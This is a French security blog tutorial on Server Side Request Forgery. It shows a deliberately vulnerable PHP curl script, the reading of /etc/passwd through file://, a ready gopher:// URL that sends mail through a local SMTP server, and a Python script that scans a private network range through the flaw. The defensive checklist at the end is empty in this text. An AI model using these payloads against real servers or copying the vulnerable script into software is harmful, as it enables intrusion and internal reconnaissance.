Les Server Side Request Forgery : Comment contourner un pare-feu

Par Geluchat, sam. 16 septembre 2017, dans la catégorie Journal de geluchat

Failles Web, SSRF, Tutoriel

Qu'est ce que les Server Side Request Forgery ?

Les Server Side Request Forgery, ou en abrégé SSRF, sont des vulnérabilités Web permettant de lire des fichiers sur le serveur local.

Il ne faut pas les confondre avec les CSRF (Cross Site Request Forgery), qui, elles, ont pour but l'exécution d'une requête à l'insu d'un autre utilisateur.

Un des gros avantages des SSRF est la possibilité de contourner les pare-feux.

En effet, les actions se faisant côté serveur, il est possible d'interroger des services n'étant disponibles que localement tels que :

Ce genre de faille est particulièrement présent sur les proxy Web : Un utilisateur du service proxy peut avoir accès à des données internes au serveur, données auxquelles il n'aurait normalement pas du avoir accès.

Le schéma suivant montre un exemple d'attaque sur un proxy Web n'ayant pas protégé son adresse locale contre les SSRF :

Schéma SSRF Proxy

On remarque que l'adresse locale est résolue côté serveur et permet à l'attaquant de récupérer le contenu du dossier secret.

Voyons maintenant les différents types d'exploitation possibles en rapport avec les SSRF.

Comment exploiter une SSRF : Les schémas d'attaque

Nous avons vus précédemment l'exemple de l'exploitation d'un proxy Web, mais il existe une multitude de schémas d'attaque.

L'exemple du proxy Web utilise le protocole HTTP pour accéder à des données internes.

Nous sommes alors en droit de nous poser une question :
Comment faire pour communiquer avec les autres services (bases de données, services e-mail, etc...) ?

Prenons l'exemple suivant :

<?php 

$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => $_GET['url']
));

$resp = curl_exec($curl);
curl_close($curl);

?>

Cet exemple prend en entrée une adresse et récupère la page associée, le module curl de PHP est une simple adaptation de la commande système curl http://votreurl.com.

On peut donc utiliser toutes les fonctionnalités de curl, en particulier celles liées à la sémantique de l'adresse envoyée au script : [protocole]://[IP|nomDeDomaine]:[port]/[param]

La liste des protocoles implémentés par curl est disponible ici.

Les protocoles file:// et http://

Un protocole attire notre attention : le protocole file:// , celui-ci permet d'ouvrir un fichier sur le serveur.

En utilisant le script précédent, on peut essayer de lire le fichier /etc/passwd sur le serveur, ce qui donne en action : SSRF File

Nous avons maintenant accès à n'importe quel fichier du serveur ! Yes

Le protocole file:// nous a permis d'accéder à des fichiers mais comment faire pour communiquer avec les différents services présents sur la machine ?

L'excellent article de Nicolas Grégoire est un très bon exemple de SSRF sur un service : la base de données NoSQL Redis.

Redis, comme MongoDB, est une base de données NoSQL sans authentification par défaut.

L'article explique comment, à l'aide de requêtes HTTP, extraire des données de la base, modifier cette dernière ou même lire des fichiers sur le système.

Le principal souci de cette méthode est qu'une requête HTTP est obligée d'avoir un format spécifique afin d'être correcte :

GET /index.html
Host: www.dailysecurity.fr
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br

Ce format restreint l'exploitation de service, par exemple l'accès à un service qui a besoin d'un préambule bien précis.

Exemple d'accès à la base de données Redis avec une requête HTTP :

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Connection:'

Le protocole gopher://

Afin de palier au problème de format, nous pouvons utiliser le protocole gopher://.

Gopher est un protocole concurrent de HTTP qui n'est plus vraiment utilisé mais toujours supporté par curl.

Il va nous permettre de communiquer avec les services type telnet comme par exemple le service SMTP (e-mail) :
ps : 1. Pour les sauts de ligne, on doit les encoder deux fois.
2. La première lettre de la requête est aléatoire (x dans l'exemple) car non prise en compte par le protocole gopher.

On cherche à envoyer un e-mail en utilisant le serveur SMTP disponible localement.

Contenu du message :

HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT

Ce qui donne en version Gopher : https://victim.website/curl.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

Pour tester notre SSRF, on met en place un serveur netcat sur le port 25 (associé au protocole SMTP) et on attend la requête :

nc -lvp 25
listening on [any] 25 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35417
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: AH AH AH

You didn't say the magic word !


.
QUIT

Yes

Une autre exemple d'utilisation des SSRF : L'énumération d'adresses IP sur le réseau local

Nous avons vu dans les parties précédentes que les SSRF jouaient le rôle de proxy afin d’exécuter des requêtes internes.

Elles peuvent alors servir d'outil pour l'énumération des machines dans les sous-réseaux accessibles.

La seule contrainte est que le machine à détecter doit avoir au moins un service ouvert.

Les services les plus communs sont le plus souvent des services Web ou SSH (ports 80, 443, 8080, 22) voire RDP (port 3389) sur Windows.

On peut deviner les sous-réseaux accessibles grâce aux fichiers de configuration de Apache ( /etc/apache2/apache2.conf) ou en cherchant dans les plages d'adresses IP des réseaux privés :

Pour énumérer les machines disponibles ayant un service HTTP sur le port 80 on peut utiliser le script suivant :

import requests

def ipRange(start_ip, end_ip):
   start = list(map(int, start_ip.split(".")))
   end = list(map(int, end_ip.split(".")))
   temp = start
   ip_range = []
   ip_range.append(start_ip)
   while temp != end:
      start[3] += 1
      for i in (3, 2, 1):
         if temp[i] == 256:
            temp[i] = 0
            temp[i-1] += 1
      ip_range.append(".".join(map(str, temp)))    
   return ip_range

ip_range = ipRange("192.168.0.0", "192.168.255.255")
ip_up = []
for ip in ip_range:
    try:
        result = requests.get("http://victime.website/curl.php?url=http://"+ip+"/:80",timeout=0.5).content
        if(result is not ""):
            ip_up.append(ip)
            print "[+] Machine : "+ip
    except:
        pass

print("\n".join(ip_up))

Afin de sécuriser une application contre les SSRF, il faut vérifier :

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.